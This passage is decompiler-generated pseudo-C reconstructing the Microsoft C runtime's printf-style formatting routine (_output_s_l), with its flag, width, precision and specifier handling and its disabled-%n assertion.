																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x435660; // 0x4e6e9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043564C))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x4356cc; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00435690))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AEE0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0xab8ad97d
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0x2b8ac62f
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0x2b8ac616
																					E00424750(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E004283F0(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428430(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E004283F0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E004283F0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E004283F0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E004283F0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00428410(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00428410(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E004283F0(__ebp + 0x14);
																	__eax = E00433FA0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E410();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																		__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AEB0(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x294) =  *(__ebp - 4);
																		while(1) {
																			L97:
																			__edx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags =  *(__ebp - 0x290);
																			if( *(__ebp - 0x290) == 0) {
																				break;
																			}
																			L98:
																			__ecx =  *(__ebp - 0x294);
																			__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L99:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																		}
																		L100:
																		 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L108:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																case 0xc:
																	L145:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428410(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428410(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xd:
																	L148:
																	 *(__ebp - 0x260) = 0x27;
																	L149:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *((char*)(__ebp - 0x14)) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E004283F0(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428410(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428410(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xe:
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
															}
														case 8:
															L30:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L33;
														case 9:
															L31:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L33;
														case 0xa:
															L29:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xb:
															L28:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L33;
														case 0xc:
															L32:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xd:
															L33:
															goto L218;
													}
												} else {
													if(0 == 0) {
														 *(_t701 - 0x314) = 0;
													} else {
														 *(_t701 - 0x314) = 1;
													}
													_t618 =  *(_t701 - 0x314);
													 *(_t701 - 0x278) =  *(_t701 - 0x314);
													if( *(_t701 - 0x278) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t545 = L0041E410();
														_t703 = _t703 + 0x14;
														if(_t545 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t701 - 0x278) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422F00(_t618))) = 0x16;
														E00422C90(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t701 - 0x2f0) = 0xffffffff;
														E0041AEB0(_t701 - 0x40);
														_t518 =  *(_t701 - 0x2f0);
														L229:
														return E0042BD50(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
													}
												}
											}
											L219:
											__eflags =  *(_t701 - 0x25c);
											if( *(_t701 - 0x25c) == 0) {
